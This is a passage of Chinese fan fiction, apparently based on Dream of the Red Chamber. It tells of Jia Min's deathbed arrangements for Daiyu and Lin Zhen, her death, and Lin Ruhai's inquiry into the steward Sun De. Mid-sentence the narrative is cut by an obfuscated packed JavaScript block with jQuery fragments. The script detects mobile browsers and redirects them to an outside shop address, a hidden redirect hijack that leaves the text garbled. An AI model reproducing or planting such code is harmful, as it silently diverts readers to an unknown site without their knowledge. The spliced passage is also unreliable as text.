贾敏其实有许多想教给女儿的,比如府里这么多下人在嚼舌根,为什么首挑孙家下手惩戒,又为什么是以替主子修行的名义,而不是直接打发了他们走,比如孙家走了,留下的差事该选谁接手。可她实在没有时间了,说完那几句便一口气喘不上来,伏在枕上咳嗽不已,丹青和绘月忙上来给她喂药,又切了参片要她压在舌下,她却摇手,只看着如海。
如海本欲劝她歇下,但几十年的夫妻,他怎么会看不懂她的眼神?她本是公府贵女,又执掌中馈多年,若能有机会抚养女儿长大,必定能把她教养成最合格的大家闺秀,可从前只觉得女儿还小,不必过早劳神费心,怎知如今竟来不及了!如海深知此刻若不教会女儿一些在深宅大院里的本事,妻子绝不能放心,因而忍泪放下情绪,只道:“叫梅兴、陈良贵、王亮到二门外听候,再叫他们家里人进来。”
他说的这三个人,加上要打发走的孙德,便是林家的四个管事了,其中王亮是贾敏的陪房,还是丹青的大姐夫,她本欲回避,又恐贾敏身边离不得人,便求助地看了一眼黛玉,黛玉心领神会,劝道:“父亲要办正事,不如到书房去更便宜?我和榛儿也好侍奉母亲汤药。”
如海道:“这些内务从前一应皆由你们母亲料理,如今也得她替我把关。你也留神细听,若是为父有不周到的地方,你好提醒一二。”
黛玉只得应了。
如海便叫他们二人坐下,传管事媳妇进来说话:“孙家要回姑苏家庙去替姑娘、大爷修行,他们一家子人也不少,尤其孙嬷嬷,有了年岁,需找两个妥贴的人送他们过去,免得路上病了伤了,或者遭了流匪,那就罪过了。我今晚便去一封书信给苏州知府连大人,请他平日里着人看顾孙德一二。你们往常总是荐这个表兄弟能干,那个外甥稳当的,如今少不得要说出两个名儿来。”
他这话说得几个管事媳妇心惊肉跳的——这年月外头再乱,江南也总是富庶太平的,从扬州到苏州这么近,能有什么流匪?恐怕是要防着孙德有别的心思吧?
其实孙家几代人在林家做事,孙德和他妹夫更是管着采买之事,这几年不知攒了多少家私,回苏州去虽说断了财路,但没有主子管束,拿着从前攒的家底上下打点一番,说不定还有另一番际遇。只是老爷这架势,岂不是要叫人看管着孙家?那些钱银私房,恐怕也不许他们带了。
管事媳妇们流着汗,并不敢作声。她们往常只畏惧贾敏管家甚严,待她病了便不免懈怠躲懒,倒是忘了老爷纵然平日里不理庶务,到底在官场多年,手段比起太太来只有更严厉的。
如海见她们害怕,也见好就收,自己点了两个信得过的人送孙德一家回苏州,又道:“太太今日做主,她的嫁妆都给了姑娘,王亮家的,你们这些太太陪房的人,以后都听玉儿差遣,待会儿你就领着他们来给姑娘磕头罢!”
王亮家的犹在诧异,贾敏咳嗽了一声,丹青和绘月便齐齐地跪下来,王亮家的懵懵的,被妹妹拉了一把,也缓过神来,赶紧和丹青、绘月一起磕了头。
贾敏欣慰地笑了笑,又挣扎着取下腰间玉环,砸向床头,无奈气力不足,玉环只裂了条缝,她又勉强把玉环摔成两半,说道,“玉儿,榛儿,你们一人拿一半。此后,你们彼此照拂,玉环合才圆。无论将来如何,且记着今日相依为命时。”
黛玉和林榛跪在床前,一人拿着一半玉环,不觉痛哭起来。
贾敏拼着最后一口气道:“老爷今后若是续弦,再有了别的子嗣,也请看在文姨娘情愿舍命的慈母之心的份上,善待榛儿。他也到了该读书的年纪,身边该有自己的人了。”说罢便哀求着看向如海。
如海听了,更觉得百感交集。文姨娘原不是个聪明人,只看她说死就死,全然不管儿子小小年纪日后该如何自处便知其痴,这样的人,待其他人只有更冲动冒失的,贾敏理家时和她论过两回道理,只是全然说不通,便索性不叫她到自己跟前来,反而省了事,也曾对如海说:“我是真不知道该拿文姨娘怎么办了!照理说,榛儿是老爷唯一的儿子,我该尽心教养才是,否则,他若不成器,我的玉儿也要遭难。可我稍加管束,文姨娘便心疼地直哭,更担心我要把榛儿抢去自己养。罢了罢了,她也是个可怜人,我也不吓唬她了。榛儿的事,只能由老爷亲自上心了。”也是怕别人说她苛待庶子、欺辱妾室,贾敏这么些年来一直对林榛一向是好吃好喝地待着,但不免生疏客套。如海也理解妻子的不自在,这世上有几个人能把庶子视为己出呢?单是从黛玉和林榛两个孩子吃穿用度别无二致,姐弟俩亲密无间,从无嫌隙这几点看,贾敏就做得已经比大部分嫡母都要好了。但他着实没想到,妻子在临终前,竟然还想着替庶子做安排。
他不禁落下泪来,握着贾敏的手道:“夫人只管安心,为夫再无续室之意!”怕贾敏仍不放心,当即便指了陈良贵的儿子陈福给林榛做长随。
贾敏已然说不出话来,只死死地看着黛玉,像是要把女儿的模样烙在心底似的,过了半晌,垂下手,便再也睁眼不能了。
屋里乱做一团,如海忙叫大夫过来,只是大夫见她灰白的脸色,也只摇头叹息。婆子和丫鬟们给她换好衣裳,两个孩子始终站在床头不肯走,守到半夜,贾敏还是没了气息。
黛玉不敢相信,浑身颤抖着去拉她的手,一叠声地哭喊妈妈。林榛呆愣愣地看着,忽然意识到自己又一次没了娘,捂着嘴无声地尖叫起来。
两个孩子本就身子骨弱,守丧尽礼过于哀痛,以致旧疾复发,贾雨村原指望让林如海替自己起复一事牵线搭桥,但见他又要替妻子置办丧事,又要为儿女请医问药,便不敢再提,好在金陵贾家的那位管事的素知都中荣国府的二老爷贾政是个惜才之人,早有书信引荐,他便索性辞馆进京,拿着宗侄门帖至荣府门上投了,贾政果然十分喜欢,极力帮助,题奏之日,谋了一个复职。
如海操办完妻子的丧事,亲自为贾敏送灵至姑苏,回来又要还吊祭送殡的亲友的礼,又要忙盐司的公事,又要打理家中庶务,只恨分身乏术,还是锦乡伯来信,重提林榛开蒙一事,他才知道,这两个月,贾雨村已授了应天府,不日便要上任了。他想道:夫人说得果然不错,时飞谋的是宦海扬帆,自是不甘心在林家的小小书塾蹉跎时光的。又感慨贾敏果然聪颖敏慧,善识人,不忍再想下去,忙收拾了心情,转而去看黛玉和林榛。
路上他还在想,榛儿这病了一个多月,又耽误念书了,他已近四岁,开蒙着实晚了点,贾敏临终前还在说他念书的事,若再拖下去,就是他这个做父亲的不对了。锦乡伯虽信中又重提收徒一事,但一来林榛还太小,只身去千里之外求学,他也放心不下,二来,锦乡伯所说的荫监对他们这样的人家来说虽不难,但国子监中尽是举业的学子,林榛一个启蒙的去凑什么热闹,还不是要麻烦锦乡伯?思来想去,还是重新聘个西席为好,一来在自己家里,到底方便,二来,也可继续让黛玉上学——这个女儿自幼才思敏捷,只说读书上的天赋,比林榛还好些。初时他们夫妻只为了女儿能识几个字才聘了贾雨村,可是读了一年下来,便只恨她不是男儿身了。
可惜想再聘个进士,确是难了。
如海还在忧心儿女的学业,到了院中,忽地听见林榛正磕磕绊绊地背《豳风·七月》,这是《国风》里最长的一首了,他才开了个头,只到“无衣无褐,何以卒岁”便有些背
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102860|195751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不下去了。黛玉柔声道:“既忧无衣过冬,便更要忙耕种了。一月要忙什么?”他便又“三之日于耜,四之日举趾”了。
黛玉道:“罢了,我先来把这首诗完整地同你讲一遍,你通了,自然就会了。把这首诗学会了,之后学《孟子》的‘百亩之田,勿夺其时’,不用先生教,你都知道是什么意思。”
林榛在读书上确实不像姐姐过目不忘,幸好勤勉踏实,不懂就问,黛玉作为小先生也耐心温和,两个人读了半天,全无不耐之意。
如海在窗外听了许久,不忍打扰,返身回了书房,思忖片刻,又叫来管事的梅兴。贾敏在时,待下一向宽厚,得饶人处且饶人,难得那样恼火,病中依然要处置了孙德,定是孙德犯了什么大错激怒了她。他先头只听说是府中有下人编排议论林榛,大约是孙德为首?或者贾敏想着“擒贼先擒王”,处理了其中最“体面”的,震慑住旁人?之前一直忙着,如今有了空闲,自然要问清楚。
梅兴揣度着老爷的意思,问道:“老爷怎么问起他来了?可是这趟回苏州时他说了什么?莫非他不服太太的安排,不愿意替姑娘和大爷祈福么?想来也是……”
如海听他话里有话,道:“你细说便是,何必支支吾吾的,难道你还怕他?”
梅兴哪里是怕孙德,实在是知道孙嬷嬷打小就服侍老爷,有情份在,怕老爷心软改了主意,又一想,老爷一向敬重太太,太太临终前的安排,孙嬷嬷再有脸也改变不了,便安下心来,道:“老爷有所不知,这孙大哥走之前才和我闹了不是,我要是说他什么,倒像故意落井下石的了。”
如海知道他就是想落井下石,仍顺着他的话问:“哦?你们闹的什么不是?”
“之前不是要把太太的事提前预备着么,孙大哥想叫他外甥去置办纸扎香烛,我想着虽然采买一向是孙大哥负责的,但他外甥实在年轻,从没办过差的,若是出了什么差池可就不得了了,就拦了一拦,他大约是误会我看不起他外甥,连孙嬷嬷都叫我过去骂了两句。”孙德和他妹夫都是林府的大管事,又管着采买这样的肥差,早预备着趁太太的丧事再发一回财了,结果被太太一句话发配回了苏州家庙,别说再捞一笔了,一路被人盯着,连原先攒的体己都充了公。梅兴被他压了这么多年,现下只觉得痛快。
林如海素知底下人中饱私囊的,想到连贾敏的葬礼都要被算计,不觉气恼,又问:“那你知不知道他是怎么得罪太太的?”
梅兴看着他的脸色,吞吞吐吐地道:“小的也不大清楚,只是隐约听别人说过,孙嬷嬷同姑娘的奶娘王嬷嬷说,大爷的生日不好,克父母的,就连以前朝代的皇帝生在五月初五这天都要养在宫外,文姨娘可不就被克没了?太太的病兴许也是他克的,让王嬷嬷教姑娘躲着点大爷。”
如海怒不可遏:“果真?”
梅兴忙跪下道:“小的也只是听人说的,是真是假,得问过王嬷嬷才知道。不过后来姑娘去找孙嬷嬷立规矩,小的媳妇儿倒是亲眼见了。想来若没个缘故,姑娘也不会去同孙嬷嬷计较。”
如海面色铁青,算是明白贾敏那句“打量孩子们年纪小,哪里把他们当主子”是从何而来。黛玉也不过五六岁的年纪,能明辨是非,还愿意替弟弟出头,更显得挑唆的人可恶。况且孙嬷嬷倚老卖老惯了,又怎么会把小姑娘的教训当回事?怕是玉儿的话她也没听,甚至顶了嘴。
怪不得贾敏气成那样!
如海一面欣慰儿女们感情好,一面又心疼,更犯起了愁,打发了一个孙家,能震慑住底下人一阵,可时间一长,他们必是又刁钻起来,况且贾敏不在了,孩子们又太小,一旦他公事忙起来,谁照顾他们呢?